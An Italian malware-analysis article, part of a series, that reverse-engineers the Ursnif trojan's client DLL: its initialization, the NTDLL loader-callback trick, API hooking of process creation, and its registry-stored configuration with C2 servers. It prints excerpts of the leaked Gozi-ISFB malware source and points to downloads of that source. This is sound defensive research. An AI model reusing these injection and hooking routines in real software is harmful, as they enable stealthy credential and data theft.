YAU – Parte 11 – Il client, inizializzazione e configurazione
yau
Il Client è il cuore di Ursnif.
Viene avviato tramite MSHTA e PowerShell ma da questi è in grado di diffondersi in altri processi, primi tra tutti explorer.exe ed i browser Firefox, Edge, Internet Explorer, Opera e Safari.
Il client è in grado di eseguire una serie di comandi, ottenuti dalla sua configurazione (contenuta in un JJ chunk) o come risposta dal C2.
C2 al quale può inviare dati sottoforma di POST verso URL analoghe a quella usata nel secondo stadio.
I comandi del client ricordano più quelle di un RAT e di un infostealer che di un banking trojan.
E’ vero che oltre alla possibilità di scaricare ed eseguire moduli terzi, elencare e inviare al C2 file, riavviare la macchina, fermare processi, catturare schermate (sia foto che video), rubare le password di Thunderbird, fare da keylogger, avviare VNC, rubare i cookie e certificati terzi, raccogliere informazioni sulla macchina, è anche in grado di leggere le informazioni ricevute ed inviate dai browser, ma non vi sono accorgimenti specifici per i siti di banche.
L’architettura del client è piuttosto elaborata ed i sorgenti di Gozi-ISFB, con i quali Ursnif condivide molto del codice, sono fondamentali per navigare la moltitudine di funzioni e strutture dati usate.
Rispetto a Gozi-ISFB, Ursnif aggiunge alcune funzionalità (come la possibilità di usare TOR e 15 nuovi comandi) e ne ignora altre.
YET ANOTHER URSNIF
Questo è l’undicesimo di una serie di articoli, tutti raggruppati qui.
I sorgenti di ISFB e Gozi
Ursnif condivide gran parte del codice con ISFB e Gozi, difatti i sorgenti disponibili in rete (e scaricabili anche da qui) offrono una fonte indispensabile per il reverse engineering.
Se in alcune parti Ursnif è identico ai suoi precedessori, in altre si discosta in modo significativo.
Compito di questa serie di articoli è anche quello di determinare come Ursnif si discosti dai precedessori.
Il DB IDA annotato è scaricabile qui.
Ursnif fa uso di una grande quantità di strutture dati e il suo codice contiene alcuni strati di astrazione che ne allungano il reverse engineering.
Per questo motivo forniremo evidenza solo delle parti più interessanti del malware.
Sia i sorgenti che il DB IDA sono consigliati per la lettura. E’ inoltre assunta la capacità base di muoversi all’interno di un repository di codice per la ricerca delle funzioni interessate.
Inizializzazione
Il client è avviato tramite uno script MSHTA che ne invoca uno PowerShell. Trattandosi di una DLL, il primo codice eseguito si trova in DllMain.
E’ presente anche un’altra funzione esportata (nmstool_1) ma questa non fa altro che richiamare l’entry-point PE.
Per cui, l’infezione procede da DllMain.
Come per gli stadi precedenti, c’è la gestione del numero di instanze attive tramite contatori atomici.
Il codice di Ursnig è identico a quello sorgente di ISFB-Gozi (d’ora in poi, semplicemente “codice sorgente”).
WINERROR CrmStartup( PVOID pReserved ) { WINERROR Status = ERROR_UNSUCCESSFULL; NT_SID Sid = {0}; // The dll can be loaded twice or more, so it's a good idea to reinitialize variables. g_MachineRandSeed = 0; // Initializing default security attributes if (LOBYTE(LOWORD(g_SystemVersion)) > 5) LsaInitializeLowSecurityAttributes(&g_DefaultSA); else LsaInitializeDefaultSecurityAttributes(&g_DefaultSA); do // not a loop { // Obtaining current user SID if (!(LsaGetProcessUserSID(g_CurrentProcessId, &Sid))) { DbgPrint("ISFB_%04x: Failed to resolve current user SID.\n", g_CurrentProcessId); Status = ERROR_ACCESS_DENIED; break; } // Initializing rand seed with the hash of the machine ID taken from the user SID if (Sid.SubcreatedityCount > 2) { LONG i; for (i=0; i<(Sid.SubcreatedityCount-2); i++) { // DbgPrint("ISFB_%04x: SID.SubAthority[%u] = 0x%x.\n", g_CurrentProcessId, i, Sid.Subcreatedity[i+1]); g_MachineRandSeed += Sid.Subcreatedity[i+1]; } // Randomizing installer-specific GUID values g_MachineRandSeed ^= uInstallerSeed; } else { DbgPrint("ISFB_%04x: Started within system process, exiting.\n", g_CurrentProcessId); Status = ERROR_INVALID_FUNCTION; break; } // Createing active state event if (!(g_ActiveEvent = CreateEvent(NULL, TRUE, FALSE, NULL))) break; // Generating random object names if (!CrmGenerateNames()) { DbgPrint("ISFB_%04x: Failed to generate random names.\n", g_CurrentProcessId); break; } #if _INJECT_AS_IMAGE // Setting our VEH to handle exceptions within our DLL image g_hExceptionHandler = AddVectoredExceptionHandler(FALSE, &CrmVectoredExceptionHandler); #endif // Statring the dll normaly Status = CrmStartDll(pReserved); } while(FALSE); if (Status == ERROR_UNSUCCESSFULL) Status = GetLastError(); #if _INJECT_AS_IMAGE if (Status != NO_ERROR && g_hExceptionHandler) { RemoveVectoredExceptionHandler(g_hExceptionHandler); g_hExceptionHandler = NULL; } #endif return(Status); }
L'esecuzione prosegue in ClientStartup dove sono effettuati, ancora una volta, i soliti passi degli stadi precedenti: viene ottenuto un handle al processo, decodificata la sezione bss, determinata la presenza di WOW64 e invocato il metodo che prosegue l'infezione (CrmStartup).
Contrariamente al codice sorgente, in Ursnif è presente un meccanismo per determinare se alla fine di ClientStartup terminare o meno il thread di esecuzione.
Nel caso l'entry-point del processo (ottenuto tramite NTQueryInformationThread) corrisponda a quello della DLL del client, il thread è terminato (in quanto la DLL non si trova in un processo infettato).
Nel sorgente questo passo è assente.
// // Client DLL initialization routine. // static WINERROR ClientStartup( HMODULE hModule, // Current DLL base PVOID pReserved // Reserved DLL parameter ) { WINERROR Status; do // not a loop { if ((g_AppHeap = HeapCreate(0, 0x400000, 0)) == NULL) { Status = ERROR_NOT_ENOUGH_MEMORY; break; } #if (defined(_USER_MODE_INSTALL) && !(_INJECT_AS_IMAGE)) Status = InitGlobals(hModule, G_SYSTEM_VERSION | G_CURRENT_PROCESS_ID | G_CURRENT_MODULE_PATH | G_APP_SHUTDOWN_EVENT | G_CURRENT_PROCESS_PATH); #else Status = InitGlobals(hModule, G_SYSTEM_VERSION | G_CURRENT_PROCESS_ID | G_APP_SHUTDOWN_EVENT | G_CURRENT_PROCESS_PATH); #endif if (Status != NO_ERROR) break; if ((Status = CsDecryptSection(hModule, 0)) != NO_ERROR) break; if (PsSupIsWow64Process(g_CurrentProcessId, 0)) g_CurrentProcessFlags = GF_WOW64_PROCESS; Status = CrmStartup(pReserved); } while(FALSE); return(Status); }
CrmStartup è la routine che si occupa di inizializzare le variabili base di Ursnif. Anche questo passo è condiviso in gran parte con gli stadi precedenti, si tratta della generazione del seed (chiamanto g_MachineRandSeed nei sorgenti), del security descriptor e dei nomi (ottenuti dal seed) per gli eventi ed i mutex.
Un passo che nei sorgenti si trova altrove (Dentro ParserGetHostProcess, richiamata da CrmStartDll, a sua volta chiamata dalla funzione in analisi) è quello seguente:
Questo codice calcola CRC32(UPPER(PROCESS_NAME)), ovvero il CRC32 (visto negli articoli precedenti e disponibile qui) del nome del file dell'immagine del processo, messo tutto in maiuscolo.
Questo valore sarà usato ampiamente per discriminare quale azioni compiere in base al processo in cui si trova la DLL.
Sia in Ursnif che nel sorgente è presente un Vectored Exception Handler, la cui funzione è quella di richiamare gli handler SEH presenti nella DLL anche quando è iniettata in altri processi.
Il flusso continua con la chiamata a CrmStartDll che contiene la logica principale per l'infezione.
Il sorgente è un po' diverso da quanto trovato in Ursnif ma i passi sono simili.
Ursnif usa una "Handle table" per gestire i buffer in cui accumulare i dati raccolti. Questa tabella è composta da una lista concatenata (la classica struttura LIST_ENTRY di Windows) di elementi, da uno stream COM e da vari oggetti di sincronizzazione.
Per la nostra analisi, la consideriamo come uno "storage" in cui poter inserire, rimuovere ed enumerare elementi (non è chiaro perchè è chiamata Handle table).
Oltre a questo, Ursnif inizializza un meccanismo per installare callback chiamati quando una DLL viene caricata (utile per l'hook just-in-time delle funzioni).
Da Windows Vista in poi utilizza l'API LdrRegisterDllNotification, per le versioni precedenti di Windows, cerca la lista di callback interni in NTDLL.DLL e vi aggiunge i propri callback.
// // Scans NTDLL's .data section for LdrpDllNotificationList: // searches for an initialized LIST_ENTRY, adds our callbak to the list and attempts to load any DLL, if the callback is being executed - // this LIST_ENTRY is what we looking for. // static PLIST_ENTRY LookupLdrpDllNotificationList(VOID) { HMODULE hModule, NtDllBase = GetModuleHandle(szNtdll); PVOID DataSection = PeSupGetFirstWritableSection((PCHAR)NtDllBase); PLIST_ENTRY pList = NULL; if (DataSection) { PLIST_ENTRY pEntry = (PLIST_ENTRY)((PCHAR)NtDllBase + PeSupGetSectionRva(DataSection)); PVOID pEnd = (PVOID)((PCHAR)pEntry + PeSupGetSectionVSize(DataSection) - sizeof(LIST_ENTRY)); BOOL Complete = FALSE; LDR_DLL_NOTIFICATION_DESCRIPTOR Ldrn = {0}; Ldrn.NotificationRoutine = &my_LdrDllNotificationCallback; Ldrn.NotificationContext = &Complete; InitializeListHead(&Ldrn.Entry); while (!Complete && ((ULONG_PTR)pEntry <= (ULONG_PTR)pEnd)) { // Checking if there's an empty initialized list if ((pEntry->Flink == pEntry) && (pEntry->Flink == pEntry->Blink)) { InsertHeadList(pEntry, &Ldrn.Entry); // Loading a DLL that surely hasn't been loaded yet if (hModule = LoadLibrary(_T("ntdsapi.dll"))) FreeLibrary(hModule); RemoveEntryList(&Ldrn.Entry); if (Complete) pList = pEntry; } // if ((pEntry->Flink == pEntry) && (pEntry->Flink == pEntry->Blink)) pEntry += 1; } // while (!Complete && ((ULONG_PTR)pEntry <= (ULONG_PTR)pEnd)) } // if (DataSection) return(pList); }
Il primo hook: modifica della command line
Appena finite le inizializzazioni, Ursnif utilizza il CRC32 del nome del processo per determinare se si trova eventualmente nel vero explorer.exe (e non in un processo con lo stesso nome) confrontando il process id ottenuto dalla finestra della shell (con GetShellWindow e GetWindowThreadProcessId).
Successivamente installa i primi hook, si tratta di hook per le API di creazione di processi (tipo CreateProcessA e simili) tramite la funzione AcStartup.
Gli hook sono installati modificando l'export directory della DLL che contiene l'API interessanta e le import directory di tutti i moduli.
La funzione che se ne occupa è presente anche nel sorgente con il nome di SetMultipleHooks.
Infatti gli hooks sono descritti da un array di strutture che contengono il nome della DLL, il nome della funzione e la procedura sostitutiva.
Tutti gli hook di Ursnif sono impostanti in questo modo, rendendo semplice la loro identificazione.
L'intento di Ursnif è quello di modificare la command line dei processi creati aggiungendovi "--use-spdy=off --disable-http2" qualora si stia avviando un browser come Chrome od Opera (o simili) in modo da disabilitare il protocollo SPDY che non evidentemente non supporta (per la cattura dei dati).
Il registro di sistema
Ursnif usa il registro di sistema come uno storage condiviso tra le sue varie instanze iniettate in altre processi.
Le chiavi create si trovano dentro i percorsi visti negli articoli precedenti.
Non abbiamo analizzato l'utilizzo di ogni singola chiave ma il loro nome è piuttosto intuitivo, raccolgono le informazioni collezionate tramite alcuni dei comandi e mantengono lo stato dei comandi in corso.
Non elencheremo tutti i percorsi usati da Ursnif, il DB IDA allegato permette di ottenere i percorsi voluti con poco sforzo.
La configurazione
Subito dopo l'installazione dei primi hooks, Ursnif carica la propria configurazione.
La configurazione è caricata dal registro di sistema (Chiave Ini nel percorso Software\AppDataLow\Software\Microsoft\) o dal JJ chunk in assenza di dati nel primo caso.
Nel JJ chunk la configurazione si presenta nel solito formato visto precedentemente (nel registro è codificata con un algoritmo simile a quello usato per la sezione bss, i dettagli nel DB IDA).
In blu sono evidenziati i C2, questi sono simili ma non identici a quello usato dal secondo stadio.
Infatti quest'ultimi C2 hanno la possibilità di salvare i dati ottenuti tramite post che utilizzano URL nel formato visto precedentemente nell'analisi del secondo stadio.
In giallo vi sono i dati non usati. L'URL della costituzione americana sembra essere usato da altri tool per generare nomi di domini plausibili da registrare.
Dato che quelli di Ursnif contengono nomi italiani, questo campo è un refuso di Gozi-ISFB.
In rosso i servizi che permettono di ottenere l'IP pubblico di una macchina.
In viola la configurazione che contiene i parametri comuni anche al secondo stadio (group id, chiave, pause).
In verde ci sono i comandi inizialmente eseguiti da Ursnif. Vedremo meglio questi comandi in seguito.
Tra le possibili configurazioni (non presenti in questo sample) vi sono anche due che riguardano TOR ed un proxy SOCKS.
Il Proxy SOCKS è un proxy implementato nella DLL ed eseguito dentro explorer.exe (per evitare firewall), può essere configurato per mettersi in ascolto su una certa interfaccia e porta.
Il client id
Il client id è il group id. E' salvato nel registro, nello stesso percorso della configurazione (con nome Client anzichè reg).
Evidentemente è possibile che questo cambi nel tempo.